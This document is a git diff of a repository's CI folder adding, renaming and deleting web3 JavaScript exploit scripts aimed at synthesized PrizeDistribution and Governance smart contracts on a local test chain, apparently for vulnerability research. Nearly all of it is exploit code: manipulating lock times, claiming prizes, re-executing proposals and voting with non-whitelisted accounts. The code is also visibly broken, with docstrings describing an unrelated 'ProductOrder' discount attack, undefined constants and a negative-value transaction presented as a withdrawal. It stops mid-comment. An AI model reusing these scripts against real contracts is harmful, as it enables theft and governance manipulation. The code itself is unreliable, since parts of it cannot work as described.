+ + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-7.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-7.js new file mode 100644 index 00000000..1ba88ae3 --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-7.js @@ -0,0 +1,136 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-7.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Withdraw funds from the contract to ensure prize amount exceeds the contract balance + await web3.eth.sendTransaction({ + from: organizerAccount, + to: contractAddress, + value: -web3.utils.toWei('0.01', 'ether'), // Reducing the contract's balance + gas: 300000 + }); + console.log("Reduced the contract balance to make prize amount exceed the contract balance."); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-8.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-8.js new file mode 100644 index 00000000..610ac7d6 --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-8.js @@ -0,0 +1,139 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-8.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Extend the lock time to be within the valid claim window + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: web3.utils.toWei('1', 'ether'), // Sending a large value to adjust the unlock time + gas: 300000 + }); + console.log(`Lock time extended, tx status: ${extendTx.status}`); + await sleep(500); + + unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Adjusted unlock time:", unlockTime); + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-1.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-9.js similarity index 94% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-1.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-9.js index c664c2f6..49362ff7 100644 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-1.js +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-9.js @@ -16,7 +16,7 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-1.sol'; +const contractFileFullName = 'PrizeDistribution-9.sol'; let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); @@ -49,8 +49,7 @@ async function exploit(web3, envInfo, contractAddress) { value: BONUS_THRESHOLD, // Sending exactly the threshold amount gas: 300000 }); - - console.log(`Extension ${i+1} sent, tx status: ${extendTx.status}`); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); await sleep(500); // Short delay between calls } @@ -60,7 +59,7 @@ async function exploit(web3, envInfo, contractAddress) { let currentTime = Math.floor(Date.now() / 1000); console.log("Current system time:", currentTime); - + // Wait until just after the unlockTime to try claiming the prize if (currentTime < unlockTime) { let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time @@ -69,9 +68,10 @@ async function exploit(web3, envInfo, contractAddress) { await sleep(500); } - // Attempt to claim the prize + // Attempt to claim the prize within the valid claim window let claimTx = await contractInstance.methods.claimPrize().send({ from: beneficiaryAccount, + value: 1, // Sending the required 1 wei fee gas: 300000 }); await sleep(500); @@ -94,7 +94,6 @@ async function exploit(web3, envInfo, contractAddress) { - /** * Executes the exploit and checks its result * diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-1.js b/CI/exploits/synthesized-prompt-1/GovernanceExploit-1.js deleted file mode 100644 index 44090bea..00000000 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-1.js +++ /dev/null @@ -1,114 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const getLogger = require('@lib/logging/logger').getLogger; -let governanceExploitLogger = getLogger('governance'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); - -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - - - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-1' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); -let solcVersion = extractSolcVersion(source); -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - - try { - // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI - const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - - // Step 1: Create a proposal - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - - - // 5 seconds for reviewDuration but this time sleep too long to show that lack a proper require statement (commented) in the "vote" function will cause this to still go through even though the design suggests a deadline of 5 seconds since the time the proposal review time is over. - governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds before voting for the first time!`); - await sleep(10000); - - // Step 2: Vote on the proposal - for (let i = 0; i <= 3; i++) { // Vote 4 times, assuming different accounts or remove check for simplicity in smart contract - console.log("Voting on the proposal..."); - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[i], - gas: 3000000 - }); - await sleep(500); - } - - // Wait for grace period to finish - console.log("Waiting for grace period to end... We need to wait 5 + 5 + 5 seconds since the creation of the proposal so we wait enough here to account for the remaining time of that 20 second total delay"); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`I am successful!`) - return true; - } catch (error) { - console.error("Error in governance actions:", error); - return false; - } -} - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - console.log(`contractAddress: ${contractAddress}`) - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-10.js b/CI/exploits/synthesized-prompt-1/GovernanceExploit-10.js deleted file mode 100644 index e7c6bd8c..00000000 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-10.js +++ /dev/null @@ -1,115 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const getLogger = require('@lib/logging/logger').getLogger; -let governanceExploitLogger = getLogger('governance'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-10' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); -let solcVersion = extractSolcVersion(source); -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI - const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - - // Step 1: Create a proposal - console.log("Creating a proposal..."); - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); - - // Step 2: Vote on the proposal to reach the threshold - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[i], - gas: 3000000 - }); - await sleep(500); - } - - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal multiple times with privileged address - for (let i = 0; i < 3; i++) { - console.log(`Executing proposal ${proposalId} for the ${i+1} time with privileged address...`); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address - gas: 3000000 - }); - governanceExploitLogger.info(`Proposal ${proposalId} executed ${i+1} times!`); - await sleep(500); - } - - return true; - } catch (error) { - console.error("Error in governance actions:", error); - return false; - } -} - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - console.log(`contractAddress: ${contractAddress}`) - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-11.js b/CI/exploits/synthesized-prompt-1/GovernanceExploit-11.js deleted file mode 100644 index d0c623cf..00000000 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-11.js +++ /dev/null @@ -1,128 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const getLogger = require('@lib/logging/logger').getLogger; -let governanceExploitLogger = getLogger('governance'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-11' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); -let solcVersion = extractSolcVersion(source); -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI - const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - - // Step 1: Create a proposal - console.log("Creating a proposal..."); - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); - - // Step 2: Vote on the proposal to reach the threshold - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[i], - gas: 3000000 - }); - await sleep(1000); - } - - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - - // Step 4: Create a new proposal to reset the isExecuted flag - console.log("Creating another proposal to reset the isExecuted flag of the first proposal..."); - let createResult2 = await contractInstance.methods.createProposal().send({ - from: envInfo.privilegedAccount, // Use the privileged account address - gas: 3000000 - }); - - // Step 5: Re-execute the first proposal - console.log(`Re-executing proposal ${proposalId}...`); - const reExecuteResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`Proposal ${proposalId} re-executed!`); - - return true; - } catch (error) { - console.error("Error in governance actions:", error); - return false; - } -} - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - console.log(`contractAddress: ${contractAddress}`) - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-21.js b/CI/exploits/synthesized-prompt-1/GovernanceExploit-21.js deleted file mode 100644 index 1aeb72d3..00000000 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-21.js +++ /dev/null @@ -1,116 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const getLogger = require('@lib/logging/logger').getLogger; -let governanceExploitLogger = getLogger('governance'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-21' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); -let solcVersion = extractSolcVersion(source); -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI - const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - - // Step 1: Create a proposal - console.log("Creating a proposal..."); - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); - - // Step 2: Vote on the proposal to reach the threshold - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[i], - gas: 3000000 - }); - await sleep(1000); - } - - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal with privileged address and reset vote count - for (let i = 0; i < 3; i++) { - console.log(`Executing proposal ${proposalId} and resetting vote count for the ${i+1} time...`); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address - gas: 3000000 - }); - governanceExploitLogger.info(`Proposal ${proposalId} executed and vote count reset ${i+1} times!`); - await sleep(1000); - } - - return true; - } catch (error) { - console.error("Error in governance actions:", error); - return false; - } -} - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-23.js b/CI/exploits/synthesized-prompt-1/GovernanceExploit-23.js deleted file mode 100644 index 27c3f3b2..00000000 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-23.js +++ /dev/null @@ -1,114 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const getLogger = require('@lib/logging/logger').getLogger; -let governanceExploitLogger = getLogger('governance'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-23' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); -let solcVersion = extractSolcVersion(source); -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI - const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - - // Step 1: Create a proposal by a privileged address - console.log("Creating a proposal by a privileged address..."); - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.privilegedAccount, // Use the privileged account address - gas: 3000000 - }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} by privileged address`); - - // Wait for review period to end - governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); - await sleep(5000); - - // Step 2: Vote on the proposal with non-whitelisted addresses - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId} with non-whitelisted address...`); - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.nonWhitelistedAccounts[i], // Use non-whitelisted account addresses - gas: 3000000 - }); - await sleep(1000); - } - - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address - gas: 3000000 - }); - governanceExploitLogger.info(`Proposal ${proposalId} executed with votes from non-whitelisted addresses!`); - - return true; - } catch (error) { - console.error("Error in governance actions:", error); - return false; - } -} - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws 